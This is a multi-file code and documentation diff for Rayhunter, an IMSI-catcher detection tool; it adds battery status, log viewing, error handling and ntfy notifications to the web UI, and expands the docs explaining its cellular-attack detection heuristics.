class="{recording_button_classes} bg-blue-500 hover:bg-blue-700"
|
||||
onclick={start_recording}
|
||||
<ApiRequestButton
|
||||
url="/api/start-recording"
|
||||
label="Start"
|
||||
variant="blue"
|
||||
errorMessage="Error starting recording"
|
||||
>
|
||||
<span>Start</span>
|
||||
<svg
|
||||
class="w-6 h-6 text-white"
|
||||
aria-hidden="true"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
d="M8.6 5.2A1 1 0 0 0 7 6v12a1 1 0 0 0 1.6.8l8-6a1 1 0 0 0 0-1.6l-8-6Z"
|
||||
clip-rule="evenodd"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
{#snippet icon()}
|
||||
<svg
|
||||
class="w-6 h-6 text-white"
|
||||
aria-hidden="true"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
d="M8.6 5.2A1 1 0 0 0 7 6v12a1 1 0 0 0 1.6.8l8-6a1 1 0 0 0 0-1.6l-8-6Z"
|
||||
clip-rule="evenodd"
|
||||
/>
|
||||
</svg>
|
||||
{/snippet}
|
||||
</ApiRequestButton>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<style>
|
||||
</style>
|
||||
|
||||
@@ -7,6 +7,32 @@
|
||||
} = $props();
|
||||
|
||||
const table_cell_classes = 'border p-1 lg:p-2';
|
||||
|
||||
let battery_level = $derived(stats.battery_status ? stats.battery_status.level : 0);
|
||||
let bar_color = $derived.by(() => {
|
||||
if (stats.battery_status === undefined) {
|
||||
return '';
|
||||
}
|
||||
if (battery_level <= 10) {
|
||||
return 'fill-red-500';
|
||||
}
|
||||
if (battery_level <= 25) {
|
||||
return 'fill-yellow-300';
|
||||
}
|
||||
return 'fill-green-500';
|
||||
});
|
||||
let title_text = $derived.by(() => {
|
||||
if (stats.battery_status === undefined) {
|
||||
return 'Rayhunter does not yet support displaying the battery level for this device.';
|
||||
}
|
||||
|
||||
let text = `Battery is ${stats.battery_status.level}% full`;
|
||||
|
||||
if (stats.battery_status.is_plugged_in) {
|
||||
text += ' and plugged in';
|
||||
}
|
||||
return text;
|
||||
});
|
||||
</script>
|
||||
|
||||
<div
|
||||
@@ -32,6 +58,64 @@
|
||||
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
|
||||
</td>
|
||||
</tr>
|
||||
<tr class="border-b">
|
||||
<th class={table_cell_classes}> Battery </th>
|
||||
<td class={table_cell_classes}>
|
||||
<svg
|
||||
width="80"
|
||||
height="30"
|
||||
viewBox="0 0 80 30"
|
||||
role="img"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
class="battery-icon"
|
||||
>
|
||||
<title>{title_text}</title>
|
||||
<!-- Battery body -->
|
||||
<rect
|
||||
class="fill-none stroke-neutral-800 stroke-2"
|
||||
width="70"
|
||||
height="30"
|
||||
rx="3"
|
||||
ry="3"
|
||||
/>
|
||||
<!-- Battery terminal -->
|
||||
<rect
|
||||
class="fill-neutral-800"
|
||||
x="70"
|
||||
y="7"
|
||||
width="8"
|
||||
height="16"
|
||||
rx="2"
|
||||
ry="2"
|
||||
/>
|
||||
<!-- Battery charge bar -->
|
||||
<rect
|
||||
class={bar_color}
|
||||
x="2"
|
||||
y="2"
|
||||
height="26"
|
||||
rx="2"
|
||||
ry="2"
|
||||
style="width: {battery_level * 0.66}px;"
|
||||
/>
|
||||
{#if stats.battery_status && stats.battery_status.is_plugged_in}
|
||||
<!-- Lightning bolt icon -->
|
||||
<path
|
||||
class="fill-yellow-300 stroke-neutral-800 stroke-1"
|
||||
d="M38 3 L28 17 L34 17 L30 27 L40 13 L34 13 Z"
|
||||
/>
|
||||
{/if}
|
||||
{#if !stats.battery_status}
|
||||
<!-- Question mark icon -->
|
||||
<text
|
||||
class="fill-neutral-500 text-[20px] font-bold [text-anchor:middle] [dominant-baseline:central]"
|
||||
x="35"
|
||||
y="15">?</text
|
||||
>
|
||||
{/if}
|
||||
</svg>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
@@ -102,4 +102,8 @@ export class ManifestEntry {
|
||||
get_delete_url(): string {
|
||||
return `/api/delete-recording/${this.name}`;
|
||||
}
|
||||
|
||||
get_reanalyze_url(): string {
|
||||
return `/api/analysis/${this.name}`;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@ export interface SystemStats {
|
||||
disk_stats: DiskStats;
|
||||
memory_stats: MemoryStats;
|
||||
runtime_metadata: RuntimeMetadata;
|
||||
battery_status?: BatteryStatus;
|
||||
}
|
||||
|
||||
export interface RuntimeMetadata {
|
||||
@@ -24,3 +25,8 @@ export interface MemoryStats {
|
||||
used: string;
|
||||
free: string;
|
||||
}
|
||||
|
||||
export interface BatteryStatus {
|
||||
level: number;
|
||||
is_plugged_in: boolean;
|
||||
}
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { add_error } from './action_errors.svelte';
|
||||
import { Manifest } from './manifest.svelte';
|
||||
import type { SystemStats } from './systemStats';
|
||||
|
||||
@@ -8,12 +9,20 @@ export interface AnalyzerConfig {
|
||||
null_cipher: boolean;
|
||||
nas_null_cipher: boolean;
|
||||
incomplete_sib: boolean;
|
||||
test_analyzer: boolean;
|
||||
}
|
||||
|
||||
export enum enabled_notifications {
|
||||
Warning = 'Warning',
|
||||
LowBattery = 'LowBattery',
|
||||
}
|
||||
|
||||
export interface Config {
|
||||
ui_level: number;
|
||||
colorblind_mode: boolean;
|
||||
key_input_mode: number;
|
||||
ntfy_url: string;
|
||||
enabled_notifications: enabled_notifications[];
|
||||
analyzers: AnalyzerConfig;
|
||||
}
|
||||
|
||||
@@ -29,6 +38,23 @@ export async function req(method: string, url: string): Promise<string> {
|
||||
}
|
||||
}
|
||||
|
||||
// A wrapper around req that reports errors to the UI
|
||||
export async function user_action_req(
|
||||
method: string,
|
||||
url: string,
|
||||
error_msg: string
|
||||
): Promise<string | undefined> {
|
||||
try {
|
||||
return await req(method, url);
|
||||
} catch (error) {
|
||||
if (error instanceof Error) {
|
||||
console.log('beeeo');
|
||||
add_error(error, error_msg);
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
export async function get_manifest(): Promise<Manifest> {
|
||||
const manifest_json = JSON.parse(await req('GET', '/api/qmdl-manifest'));
|
||||
return new Manifest(manifest_json);
|
||||
@@ -38,6 +64,10 @@ export async function get_system_stats(): Promise<SystemStats> {
|
||||
return JSON.parse(await req('GET', '/api/system-stats'));
|
||||
}
|
||||
|
||||
export async function get_logs(): Promise<string> {
|
||||
return await req('GET', '/api/log');
|
||||
}
|
||||
|
||||
export async function get_config(): Promise<Config> {
|
||||
return JSON.parse(await req('GET', '/api/config'));
|
||||
}
|
||||
|
||||
@@ -7,34 +7,101 @@
|
||||
import { AnalysisManager } from '$lib/analysisManager.svelte';
|
||||
import SystemStatsTable from '$lib/components/SystemStatsTable.svelte';
|
||||
import DeleteAllButton from '$lib/components/DeleteAllButton.svelte';
|
||||
import RecordingControls from '$lib/components//RecordingControls.svelte';
|
||||
import RecordingControls from '$lib/components/RecordingControls.svelte';
|
||||
import ConfigForm from '$lib/components/ConfigForm.svelte';
|
||||
import ActionErrors from '$lib/components/ActionErrors.svelte';
|
||||
import LogView from '$lib/components/LogView.svelte';
|
||||
|
||||
let manager: AnalysisManager = new AnalysisManager();
|
||||
let loaded = $state(false);
|
||||
let filter_threshold: boolean = $state(false);
|
||||
let entries: ManifestEntry[] = $state([]);
|
||||
let current_entry: ManifestEntry | undefined = $state(undefined);
|
||||
let system_stats: SystemStats | undefined = $state(undefined);
|
||||
let update_error: string | undefined = $state(undefined);
|
||||
let logview_shown: boolean = $state(false);
|
||||
$effect(() => {
|
||||
const interval = setInterval(async () => {
|
||||
await manager.update();
|
||||
let new_manifest = await get_manifest();
|
||||
await new_manifest.set_analysis_status(manager);
|
||||
entries = new_manifest.entries;
|
||||
current_entry = new_manifest.current_entry;
|
||||
try {
|
||||
// Don't update UI if browser tab isn't visible
|
||||
if (document.hidden) {
|
||||
return;
|
||||
}
|
||||
|
||||
system_stats = await get_system_stats();
|
||||
loaded = true;
|
||||
await manager.update();
|
||||
let new_manifest = await get_manifest();
|
||||
await new_manifest.set_analysis_status(manager);
|
||||
entries = filter_threshold
|
||||
? new_manifest.entries.filter((e) => e.get_num_warnings())
|
||||
: new_manifest.entries;
|
||||
|
||||
current_entry = new_manifest.current_entry;
|
||||
|
||||
system_stats = await get_system_stats();
|
||||
update_error = undefined;
|
||||
loaded = true;
|
||||
} catch (error) {
|
||||
if (error instanceof Error) {
|
||||
update_error = error.message;
|
||||
} else {
|
||||
update_error = '';
|
||||
}
|
||||
}
|
||||
}, 1000);
|
||||
|
||||
return () => clearInterval(interval);
|
||||
});
|
||||
</script>
|
||||
|
||||
<LogView bind:shown={logview_shown} />
|
||||
<div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
|
||||
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
|
||||
<img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" />
|
||||
<div class="flex flex-row gap-4">
|
||||
<button onclick={() => (logview_shown = true)} class="flex flex-row gap-1 group">
|
||||
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Logs</span>
|
||||
<svg
|
||||
class="w-6 h-6 text-white group-hover:text-gray-400"
|
||||
aria-hidden="true"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
d="M10 14H3"
|
||||
stroke="currentColor"
|
||||
stroke-width="1.5"
|
||||
stroke-linecap="round"
|
||||
/>
|
||||
<path
|
||||
d="M10 18H3"
|
||||
stroke="currentColor"
|
||||
stroke-width="1.5"
|
||||
stroke-linecap="round"
|
||||
/>
|
||||
<path
|
||||
d="M14 15L17.5 18L21 15"
|
||||
stroke="currentColor"
|
||||
stroke-width="1.5"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M3 6L13.5 6M20 6L17.75 6"
|
||||
stroke="currentColor"
|
||||
stroke-width="1.5"
|
||||
stroke-linecap="round"
|
||||
/>
|
||||
<path
|
||||
d="M20 10L9.5 10M3 10H5.25"
|
||||
stroke="currentColor"
|
||||
stroke-width="1.5"
|
||||
stroke-linecap="round"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
<a
|
||||
class="flex flex-row gap-1 group"
|
||||
href="https://github.com/EFForg/rayhunter/issues"
|
||||
@@ -84,10 +151,50 @@
|
||||
</div>
|
||||
</div>
|
||||
<div class="m-4 xl:mx-8 flex flex-col gap-4">
|
||||
{#if update_error !== undefined}
|
||||
<div
|
||||
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
||||
>
|
||||
<span class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600">
|
||||
<svg
|
||||
class="w-8 h-8 text-red-600"
|
||||
aria-hidden="true"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm11-4a1 1 0 1 0-2 0v5a1 1 0 1 0 2 0V8Zm-1 7a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2H12Z"
|
||||
clip-rule="evenodd"
|
||||
/>
|
||||
</svg>
|
||||
Connection Error
|
||||
</span>
|
||||
<span
|
||||
>This webpage is not currently receiving updates from your Rayhunter device. This
|
||||
could be do loss of connection or some issue with your device.</span
|
||||
>
|
||||
{#if update_error}
|
||||
<details>
|
||||
<summary>Error</summary>
|
||||
<code>{update_error}</code>
|
||||
</details>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
<ActionErrors />
|
||||
{#if loaded}
|
||||
<div class="flex flex-col lg:flex-row gap-4">
|
||||
{#if current_entry}
|
||||
<Card entry={current_entry} current={true} server_is_recording={!!current_entry} />
|
||||
<Card
|
||||
entry={current_entry}
|
||||
current={true}
|
||||
server_is_recording={!!current_entry}
|
||||
{manager}
|
||||
/>
|
||||
{:else}
|
||||
<div
|
||||
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
||||
@@ -112,9 +219,9 @@
|
||||
</svg>
|
||||
WARNING: Not Running
|
||||
</span>
|
||||
<span
|
||||
>Rayhunter is not currently running and will not detect abnormal behavior!</span
|
||||
>
|
||||
<span>
|
||||
Rayhunter is not currently running and will not detect abnormal behavior!
|
||||
</span>
|
||||
<div class="flex flex-row justify-end mt-2">
|
||||
<RecordingControls server_is_recording={!!current_entry} />
|
||||
</div>
|
||||
@@ -123,8 +230,24 @@
|
||||
<SystemStatsTable stats={system_stats!} />
|
||||
</div>
|
||||
<div class="flex flex-col gap-2">
|
||||
<span class="text-xl">History</span>
|
||||
<ManifestTable {entries} server_is_recording={!!current_entry} />
|
||||
<div class="flex flex-row gap-2">
|
||||
<div class="text-xl flex-1">History</div>
|
||||
<div class="flex flex-row items-center gap-2 px-3">
|
||||
<label
|
||||
for="filter_threshold"
|
||||
class="block text-md font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Filter for Warnings
|
||||
</label>
|
||||
<input
|
||||
type="checkbox"
|
||||
id="filter_threshold"
|
||||
bind:checked={filter_threshold}
|
||||
class="px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
|
||||
</div>
|
||||
<DeleteAllButton />
|
||||
<ConfigForm />
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 218 KiB |
Vendored
+7
-1
@@ -22,6 +22,11 @@ ui_level = 1
|
||||
# 1 = double-tapping the power button starts/stops recordings
|
||||
key_input_mode = 0
|
||||
|
||||
# If set, attempts to send a notification to the url when a new warning is triggered
|
||||
ntfy_url = ""
|
||||
# What notification types to enable. Does nothing if the above ntfy_url is not set.
|
||||
enabled_notifications = ["Warning", "LowBattery"]
|
||||
|
||||
# Analyzer Configuration
|
||||
# Enable/disable specific IMSI catcher detection heuristics
|
||||
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
|
||||
@@ -29,6 +34,7 @@ key_input_mode = 0
|
||||
imsi_requested = true
|
||||
connection_redirect_2g_downgrade = true
|
||||
lte_sib6_and_7_downgrade = true
|
||||
null_cipher = true
|
||||
null_cipher = true
|
||||
nas_null_cipher = true
|
||||
incomplete_sib = true
|
||||
test_analyzer = false
|
||||
|
||||
+4
-1
@@ -10,13 +10,16 @@
|
||||
- [Uninstalling](./uninstalling.md)
|
||||
- [Using Rayhunter](./using-rayhunter.md)
|
||||
- [Rayhunter's heuristics](./heuristics.md)
|
||||
- [Re-analyzing recordings](./reanalyzing.md)
|
||||
- [How we analyze a capture](./analyzing-a-capture.md)
|
||||
- [Supported devices](./supported-devices.md)
|
||||
- [Orbic RC400L](./orbic.md)
|
||||
- [Orbic/Kajeet RC400L](./orbic.md)
|
||||
- [TP-Link M7350](./tplink-m7350.md)
|
||||
- [TP-Link M7310](./tplink-m7310.md)
|
||||
- [Tmobile TMOHS1](./tmobile-tmohs1.md)
|
||||
- [UZ801](./uz801.md)
|
||||
- [Wingtech CT2MHS01](./wingtech-ct2mhs01.md)
|
||||
- [PinePhone and PinePhone Pro](./pinephone.md)
|
||||
- [Moxee Hotspot](./moxee.md)
|
||||
- [Support, feedback, and community](./support-feedback-community.md)
|
||||
- [Frequently Asked Questions](./faq.md)
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
# How we analyze a capture
|
||||
|
||||
TODO
|
||||
Teams of highly trained squirrels. Video coming soon!
|
||||
@@ -12,8 +12,12 @@ Through web UI you can set:
|
||||
- *EFF logo*, which shows EFF logo and *and* colored line.
|
||||
- **Device Input Mode**, which defines behaviour of built-in power button of the device. *Device Input Mode* could be:
|
||||
- *Disable button control*: built-in power button of the device is not used by Rayhunter;
|
||||
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediatelly restarts the recording. This could be useful if Rayhunter's heuristichs is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
|
||||
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristichs is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
|
||||
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
|
||||
- **ntfy URL**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
|
||||
- **Enabled Notification Types** allows enabling or disabling the following types of notifications:
|
||||
- *Warnings*, which will alert when a heuristic is triggered. Alerts will be sent at most once every five minutes.
|
||||
- *Low Battery*, which will alert when the device's battery is low. Notifications may not be supported for all devices—you can check if your device is supported by looking at whether the battery level indicator is functioning on the System Information section of the Rayhunter UI.
|
||||
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behaviour in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so new release may reduce false positives in existing heuristics as well.
|
||||
|
||||
If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on a GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
|
||||
|
||||
+8
-6
@@ -2,23 +2,25 @@
|
||||
|
||||
### Do I need an active SIM card to use Rayhunter?
|
||||
|
||||
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but whether that SIM card has to be currently active for our tests to work is still under investigation. If you want to use the device as a hotspot in addition to a research device an active plan would of course be necessary, however we have not done enough testing yet to know whether an active subscription is required for detection. If you want to test the device with an inactive SIM card, we would certainly be interested in seeing any data you collect, and especially any runs that trigger an alert!
|
||||
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but that sim card does not have to be actively registered with a service plan. If you want to use the device as a hotspot in addition to a research device, or get [notifications](./configuration.md), an active plan would of course be necessary.
|
||||
|
||||
### How can I test that my device is working?
|
||||
You can enable the `Test Heuristic` under `Analyzer Heuristic Settings` in the config section on your web dashboard. This will cause an alert to trigger every time your device sees a cell tower, you might need to reboot your device or move around a bit to get this one to trigger, but it will be very noisey once it does. People have also tested it by building IMSI catchers at home, but we don't recommend that, since it violates FCC regulations and will probably upset your neighbors.
|
||||
|
||||
<a name="red"></a>
|
||||
|
||||
### Help, Rayhunter's line is red! What should I do?
|
||||
### Help, Rayhunter's line is red/orange/yellow/dotted/dashed! What should I do?
|
||||
|
||||
Unfortunately, the circumstances that might lead to a positive cell site simulator (CSS) signal are quite varied, so we don't have a universal recommendation for how to deal with the a positive signal. Depending on your circumstances and threat model, you may want to turn off your phone until you are out of the area (or put it on airplane mode) and tell your friends to do the same!
|
||||
Unfortunately, the circumstances that might lead to a positive cell site simulator (CSS) signal are quite varied, so we don't have a universal recommendation for how to deal with the a positive signal. Depending on your circumstances and threat model, you may want to turn off your phone until you are out of the area and tell your friends to do the same!
|
||||
|
||||
If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
|
||||
If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (Zip file downloaded from the web interface) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
|
||||
|
||||
Please note that this file may contain sensitive information such as your IMSI and the unique IDs of cell towers you were near which could be used to ascertain your location at the time.
|
||||
|
||||
|
||||
### Should I get a locked or unlocked orbic device? What is the difference?
|
||||
|
||||
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
|
||||
|
||||
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear which devices are locked nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices. So far most verizon branded orbic devices we have encountered are actually unlocked.
|
||||
|
||||
### How do I re-enable USB tethering after installing Rayhunter?
|
||||
|
||||
|
||||
+72
-6
@@ -4,9 +4,75 @@ Rayhunter includes several analyzers to detect potential IMSI catcher activity.
|
||||
|
||||
## Available Analyzers
|
||||
|
||||
- **IMSI Requested**: Tests whether the eNodeB sends an IMSI Identity Request NAS message. This can sometimes happen under normal circumstances when the network doesn't already have a TMSI (Temporary Mobile Subscriber ID or GUTI in 5G terminology) for your device. This most often happens when you first turn the device on, especially after it has been off for a long time or if you are in an area where there is absolutely no connection to your service provider. This can also happen if you leave your device on while on an airplane and it suddenly connects to a new tower after being disconnected for a long time. However, if you get this warning at a time when you have been steadily connected to towers and the device has been on for a while it can be treated as suspcious.
|
||||
- **Connection Release/Redirected Carrier 2G Downgrade**: Tests if a cell releases our connection and redirects us to a 2G cell. This heuristic mostly makes sense in the US or other countries where there are no more operating 2G base stations. In countries where 2G is still in service (such as most of EU), this heuristics may trigger a lot of false positives, so you may want to disable it. However it should be noted that many IMSI Catchers operate in a such way that they downgrade connection to 2G and also that this heuristics has been vastly improved to reduce false positive warnings. See [Wikipedia page on past 2G networks](https://en.wikipedia.org/wiki/2G#Past_2G_networks) for information about your country.
|
||||
- **LTE SIB6/7 Downgrade**: Tests for LTE cells broadcasting a SIB type 6 and 7 messages which include 2G/3G frequencies with higher priorities.
|
||||
- **Null Cipher**: Tests whether the cell suggests using a null cipher (EEA0) in the RRC layer (that means that encryption between your mobile device and base staation is turned off).
|
||||
- **NAS Null Cipher**: Tests whether the security mode command at the NAS layer suggests using a null cipher (EEA0). This would usually only happen after a UE has successfully authenticated with the MME but still it shouldn't happen at all. This could be indicative of an attack though using SS7 to get key material from the HLR of the UE for a succesful authentication. It could also indicate an IMSI catcher which is connected to the mobile network MME and HLR through cooperation between government and telecom provider. Or it could be a false positive if the telecom provider is intending to use null ciphers (if encryption is illegal or they have some misconfiguration of the network), however this should be very rare case.
|
||||
- **Incomplete SIB**: Tests whether the SIB1 message contains a complete SIB chain (SIB3, SIB5, etc.) A legitimate SIB1 mesage should contain timing information for at least 2 additional sibs (sib3, 4, and 5 being the most common) but a fake base station will often not bother to send additional SIBs beyond 1 and 2. On its own this might just be a misconfigured base station (though we have only seen it in the wild under suspicious circumstances) but combined with other heuristics such as **ISMI Requested** detection it should be considered a strong indicator of malicious activity.
|
||||
### IMSI Requested (v3)
|
||||
|
||||
This analyser tests whether the eNodeB sends an IMSI or IMEI Identity Request NAS message under suspicious .
|
||||
|
||||
Mobile networks primarily request IMSI or IMEI from a mobile device during initial network attachment or when the network cannot identify the mobile device by its temporary identification (TMSI - *Temporary Mobile Subscriber Identity* or GUTI - *Globally Unique Temporary Identifier* in 4G/5G terminology).
|
||||
|
||||
IMSI request therefore usually happens when you first turn the device on especially after it has been off for a long time. Another possibility is, that you reboot your mobile device and your temporary ID expired. Sometimes temporary identification can expire if you have been in an area where there is absolutely no connection to your service provider or after you left your device on an airplane mode and then reconnect to the network (especially being disconnected for a long time). IMSI could also be requested when you connect to a new network (for instance for roaming), when you swap she SIM card or when your device moves to a new *Tracking Area* or *Location Area* and the network can not map the temporary identification to your device. IMSI number can also be requested after core network reboot.
|
||||
|
||||
It should also be noted that the network periodically reassigns your device new temporary identification to enhance security and avoid tracking, but in that cases usually does not request IMSI.
|
||||
|
||||
During these events the phone will typically go on to authenticate that the network is legitimate and then establish service with the network it is connected to.
|
||||
|
||||
What we consider suspicious is the following chain of events:
|
||||
|
||||
* Phone connects to a new tower.
|
||||
* Tower asks for phones identity (IMEI or IMSI.)
|
||||
* Authentication does *NOT* happen.
|
||||
* Tower requests phone to disconnect.
|
||||
|
||||
Looking for this chain of events is much less prone to false positives than naively looking for any time the IMSI/IMEI is sent. We do still sometimes get false positives when users are in an airplane that is coming in for a landing however. This is likely do to having been disconnected for a while and then being over towers that are not able to route to your home network, but we are still researching.
|
||||
|
||||
This is the attack used by commercial IMSI catchers used by law enforcement.
|
||||
|
||||
This heuristic will also alert you if any of the following happen:
|
||||
* Identity is requested after authentication.
|
||||
* Identity is requested without your phone connecting to the tower.
|
||||
* Identity is requested and then authentication doesn't happen shortly thereafter.
|
||||
|
||||
This heuristic will also issue a notification every time your identity is sent to the network under non suspicious circumstances. This is for diagnostic purposes.
|
||||
|
||||
### Connection Release/Redirected Carrier 2G Downgrade
|
||||
|
||||
This analyser tests if a base station releases your device's connection and redirects your device to a 2G base station. This heuristic is useful, because some IMSI catchers may operate in a such way that they downgrade connection to 2G where they can intercept the communication (by performing man-in-the-middle attack).
|
||||
|
||||
|
||||
### LTE SIB6/7 Downgrade
|
||||
|
||||
This analyser tests if LTE base station is broadcasting a SIB type 6 and 7 messages which include 2G/3G frequencies with higher priorities.
|
||||
|
||||
SIB (*System Information Block*) Type 6 and 7 are specific types of broadcast messages sent by the base station (eNodeB in 4G networks) to mobile devices. They contain essential radio-related configuration parameters to help mobile device perform cell reselection.
|
||||
|
||||
This attack exploits the fact that SIB broadcast messages are not encrypted or authenticated. This allows them to pretend to be a legitimate cell by broadcasting fake system information in order to force mobile devices to downgrade from more secure 4G (LTE) to less secure 2G (GSM) network and then steal IMSI and/or perform man-in-the-middle attack. That is why this is also called a downgrade attack.
|
||||
|
||||
SIB6 is used for cell reselecion to CDMA2000 systems which are not supported by many modern mobile phones, and SIB7 Provides the mobile device with information to perform cell reselection to GSM/EDGE networks. Therefore SIB6 messages are quite rare, while malformed SIB7 messages are much more frequent in practice.
|
||||
|
||||
This heuristic is the most useful in the United States or other countries where there are no more operating 2G base stations. See [Wikipedia page on past 2G networks](https://en.wikipedia.org/wiki/2G#Past_2G_networks) for information about your country. In countries where 2G is still in service (such as most of EU), this heuristics may trigger false positives. In that case you should consider disabling it. However this heuristics has been vastly improved to reduce false positive warnings and new tests in European networks show that false positives are vastly reduced.
|
||||
|
||||
### Null Cipher
|
||||
|
||||
This analyser tests whether the cell suggests using a null cipher (EEA0) in the RRC layer. That means that encryption between your mobile device and base station is turned off.
|
||||
|
||||
Normally this should never happen, because null cipher is used almost exclusively for testing and debugging in labs or in controlled environments. Sometimes null cipher is used if encryption negotiation fails or isn’t supported (however in most networks this should not be the case). Also, some regulations allow unencrypted communications in **specific** emergency cases.
|
||||
|
||||
The general rule is, that null cipher should never be used in commercial deployments, except in very controlled conditions (e.g., test labs) or in a very specific regulatory-approved use cases.
|
||||
|
||||
On the other hand, IMSI catchers often use null cipher to avoid setting up secure contexts (because they lack valid keys) and/or to trick mobile device into using unencrypted links (which makes eavesdropping easier).
|
||||
|
||||
### NAS Null Cipher
|
||||
|
||||
This analyser tests whether the security mode command at the NAS layer suggests using a null cipher (EEA0). This would usually only happen after a mobile device has successfully authenticated with the MME (*Mobility Management Entity* - core network component that handles signaling and control) but still it shouldn't happen at all. This could be indicative of an attack though using SS7 (*Signaling System 7* - a set of telecommunication protocols used to set up and manage calls and other services) to get key material from the HLR (*Home Location Register* - a database in mobile telecommunications networks that stores subscriber information) of the mobile phone for a successful authentication.
|
||||
|
||||
It could also indicate an IMSI catcher which is connected to the mobile network MME and HLR through cooperation between government and telecom provider. Or it could be a false positive if the telecom provider is intending to use null ciphers (if encryption is illegal in some country, or they have some misconfiguration of the network), however this should be very rare case.
|
||||
|
||||
### Incomplete SIB
|
||||
|
||||
This analyser tests whether the SIB1 message contains a complete SIB chain (SIB3, SIB5, etc.). A legitimate SIB1 message should contain timing information for at least 2 additional SIBs (SIB3, 4, and 5 being the most common) but a fake base station will often not bother to send additional SIBs beyond 1 and 2 (i. e. some IMSI catchers send just SIB1 and *one additional* SIB).
|
||||
|
||||
On its own this might just be a misconfigured base station (though we have only seen it in the wild under suspicious circumstances) but combined with other heuristics such as **IMSI Requested** detection it should be considered as a strong indicator of malicious activity.
|
||||
|
